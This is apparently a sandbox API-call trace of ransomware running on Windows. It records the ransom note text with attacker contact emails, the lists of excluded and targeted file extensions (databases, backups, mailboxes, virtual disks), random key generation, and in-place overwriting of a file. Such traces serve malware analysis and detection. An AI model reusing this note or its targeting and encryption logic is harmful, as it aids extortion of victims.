	[0078.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6220 | out: hHeap=0x300000) returned 1
	[0078.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9ba0 | out: hHeap=0x300000) returned 1
	[0078.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6220
	[0078.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.816] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.816] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.817] CloseHandle (hObject=0x120) returned 1
	[0078.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6220 | out: hHeap=0x300000) returned 1
	[0078.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.818] RtlWakeConditionVariable () returned 0x365f70
	[0078.818] GetCurrentThreadId () returned 0xaf0
	[0078.818] GetCurrentThreadId () returned 0xaf0
	[0078.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0078.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280afe8 | out: hHeap=0x300000) returned 1
	[0078.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b64c0
	[0078.818] lstrlenW (lpString=".scr") returned 4
	[0078.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.818] lstrlenW (lpString=".cmd") returned 4
	[0078.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.818] lstrlenW (lpString=".dll") returned 4
	[0078.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.818] lstrlenW (lpString=".dll.mui") returned 8
	[0078.818] lstrlenW (lpString=".bat") returned 4
	[0078.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.818] lstrlenW (lpString=".cpl") returned 4
	[0078.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.818] lstrlenW (lpString=".sys") returned 4
	[0078.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.818] lstrlenW (lpString=".msc") returned 4
	[0078.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.819] lstrlenW (lpString=".com") returned 4
	[0078.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.819] lstrlenW (lpString=".lnk") returned 4
	[0078.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.819] lstrlenW (lpString=".msp") returned 4
	[0078.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.819] lstrlenW (lpString=".pif") returned 4
	[0078.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.819] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0078.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.885] RtlWakeConditionVariable () returned 0x365f70
	[0078.885] GetCurrentThreadId () returned 0xaf0
	[0078.885] GetCurrentThreadId () returned 0xaf0
	[0078.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0078.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b218 | out: hHeap=0x300000) returned 1
	[0078.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b68b0
	[0078.885] lstrlenW (lpString=".scr") returned 4
	[0078.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".scr") returned 0x0
	[0078.885] lstrlenW (lpString=".cmd") returned 4
	[0078.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".cmd") returned 0x0
	[0078.885] lstrlenW (lpString=".dll") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dll") returned 0x0
	[0078.886] lstrlenW (lpString=".bat") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".bat") returned 0x0
	[0078.886] lstrlenW (lpString=".cpl") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".cpl") returned 0x0
	[0078.886] lstrlenW (lpString=".sys") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".sys") returned 0x0
	[0078.886] lstrlenW (lpString=".msc") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".msc") returned 0x0
	[0078.886] lstrlenW (lpString=".com") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".com") returned 0x0
	[0078.886] lstrlenW (lpString=".lnk") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".lnk") returned 0x0
	[0078.886] lstrlenW (lpString=".msp") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".msp") returned 0x0
	[0078.886] lstrlenW (lpString=".pif") returned 4
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".pif") returned 0x0
	[0078.886] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0078.887] lstrlenW (lpString=".sqb") returned 4
	[0078.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".sqb") returned 0x0
	[0078.887] lstrlenW (lpString=".ost") returned 4
	[0078.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".ost") returned 0x0
	[0078.887] lstrlenW (lpString=".txt") returned 4
	[0078.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".txt") returned 0x0
	[0078.887] lstrlenW (lpString=".mdt") returned 4
	[0078.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".mdt") returned 0x0
	[0078.887] lstrlenW (lpString=".BDB") returned 4
	[0078.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".BDB") returned 0x0
	[0078.887] lstrlenW (lpString=".eql") returned 4
	[0078.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".eql") returned 0x0
	[0078.887] lstrlenW (lpString=".DBF") returned 4
	[0078.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DBF") returned 0x0
	[0078.888] lstrlenW (lpString=".EQL") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".EQL") returned 0x0
	[0078.888] lstrlenW (lpString=".FDB") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".FDB") returned 0x0
	[0078.888] lstrlenW (lpString=".EDB") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".EDB") returned 0x0
	[0078.888] lstrlenW (lpString=".DACPAC") returned 7
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.888] lstrlenW (lpString=".VHD") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".VHD") returned 0x0
	[0078.888] lstrlenW (lpString=".DBV") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DBV") returned 0x0
	[0078.888] lstrlenW (lpString=".dacpac") returned 7
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dacpac") returned 0x0
	[0078.888] lstrlenW (lpString=".sdf") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".sdf") returned 0x0
	[0078.888] lstrlenW (lpString=".accdb") returned 6
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".accdb") returned 0x0
	[0078.888] lstrlenW (lpString=".DBX") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DBX") returned 0x0
	[0078.888] lstrlenW (lpString=".MDT") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".MDT") returned 0x0
	[0078.888] lstrlenW (lpString=".SQB") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".SQB") returned 0x0
	[0078.888] lstrlenW (lpString=".vhd") returned 4
	[0078.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".vhd") returned 0x0
	[0078.889] lstrlenW (lpString=".bac") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".bac") returned 0x0
	[0078.889] lstrlenW (lpString=".mdf") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".mdf") returned 0x0
	[0078.889] lstrlenW (lpString=".BAK") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".BAK") returned 0x0
	[0078.889] lstrlenW (lpString=".BAC") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".BAC") returned 0x0
	[0078.889] lstrlenW (lpString=".dbs") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dbs") returned 0x0
	[0078.889] lstrlenW (lpString=".vhdx") returned 5
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".vhdx") returned 0x0
	[0078.889] lstrlenW (lpString=".NDF") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".NDF") returned 0x0
	[0078.889] lstrlenW (lpString=".dat") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dat") returned 0x0
	[0078.889] lstrlenW (lpString=".DBS") returned 4
	[0078.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DBS") returned 0x0
	[0078.889] lstrlenW (lpString=".CKP") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".CKP") returned 0x0
	[0078.890] lstrlenW (lpString=".edb") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".edb") returned 0x0
	[0078.890] lstrlenW (lpString=".PST") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".PST") returned 0x0
	[0078.890] lstrlenW (lpString=".dbf") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dbf") returned 0x0
	[0078.890] lstrlenW (lpString=".SQL") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".SQL") returned 0x0
	[0078.890] lstrlenW (lpString=".pst") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".pst") returned 0x0
	[0078.890] lstrlenW (lpString=".dbv") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dbv") returned 0x0
	[0078.890] lstrlenW (lpString=".SDF") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".SDF") returned 0x0
	[0078.890] lstrlenW (lpString=".dtxs") returned 5
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dtxs") returned 0x0
	[0078.890] lstrlenW (lpString=".db3") returned 4
	[0078.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".db3") returned 0x0
	[0078.891] lstrlenW (lpString=".OST") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".OST") returned 0x0
	[0078.891] lstrlenW (lpString=".dbx") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dbx") returned 0x0
	[0078.891] lstrlenW (lpString=".DB3") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DB3") returned 0x0
	[0078.891] lstrlenW (lpString=".DAT") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DAT") returned 0x0
	[0078.891] lstrlenW (lpString=".VHDX") returned 5
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".VHDX") returned 0x0
	[0078.891] lstrlenW (lpString=".ndf") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".ndf") returned 0x0
	[0078.891] lstrlenW (lpString=".DB") returned 3
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DB") returned 0x0
	[0078.891] lstrlenW (lpString=".sql") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".sql") returned 0x0
	[0078.891] lstrlenW (lpString=".MYD") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".MYD") returned 0x0
	[0078.891] lstrlenW (lpString=".DBT") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DBT") returned 0x0
	[0078.891] lstrlenW (lpString=".ACCDB") returned 6
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.891] lstrlenW (lpString=".fdb") returned 4
	[0078.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".fdb") returned 0x0
	[0078.891] lstrlenW (lpString=".bak") returned 4
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".bak") returned 0x0
	[0078.892] lstrlenW (lpString=".myd") returned 4
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".myd") returned 0x0
	[0078.892] lstrlenW (lpString=".DTXS") returned 5
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".DTXS") returned 0x0
	[0078.892] lstrlenW (lpString=".ckp") returned 4
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".ckp") returned 0x0
	[0078.892] lstrlenW (lpString=".dbt") returned 4
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".dbt") returned 0x0
	[0078.892] lstrlenW (lpString=".db") returned 3
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".db") returned 0x0
	[0078.892] lstrlenW (lpString=".TXT") returned 4
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".TXT") returned 0x0
	[0078.892] lstrlenW (lpString=".MDF") returned 4
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".MDF") returned 0x0
	[0078.892] lstrlenW (lpString=".bdb") returned 4
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".bdb") returned 0x0
	[0078.892] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0078.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.892] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0078.893] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.893] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0078.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0078.894] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19888537728) returned 1
	[0078.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x98e6ca70, dwHighDateTime=0x1d60e1e)) 
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b250
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b250 | out: hHeap=0x300000) returned 1
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6808
	[0078.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6808 | out: hHeap=0x300000) returned 1
	[0078.912] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0078.912] GetLastError () returned 0x0
	[0078.912] GetLastError () returned 0x0
	[0078.912] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0078.913] GetLastError () returned 0x0
	[0078.913] GetLastError () returned 0x0
	[0078.913] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0xcdb0, lpOverlapped=0x0) returned 1
	[0078.917] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff3250, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.917] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0xcdb0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0xcdb0, lpOverlapped=0x0) returned 1
	[0078.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0078.917] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.917] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
